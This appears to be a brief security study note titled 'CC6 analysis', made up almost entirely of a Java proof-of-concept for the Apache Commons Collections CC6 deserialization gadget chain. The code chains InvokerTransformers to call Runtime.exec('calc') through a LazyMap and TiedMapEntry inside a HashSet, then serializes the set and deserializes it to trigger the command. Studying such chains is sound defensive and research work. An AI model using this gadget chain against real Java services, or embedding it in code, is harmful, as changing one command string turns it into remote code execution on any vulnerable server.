CC6分析

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import java.io.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;


public class cc6 {


    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer Testtransformer = new ChainedTransformer(transformers);

        //创建一个hashmap
        Map map=new HashMap();
        Map lazyMap=LazyMap.decorate(map,Testtransformer);

        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
        HashSet hashSet=new HashSet(1);
        hashSet.add(tiedMapEntry);

        lazyMap.remove("test1");

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        objectOutputStream.writeObject(hashSet);
        objectOutputStream.close();


        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
        objectInputStream.readObject();


    }
}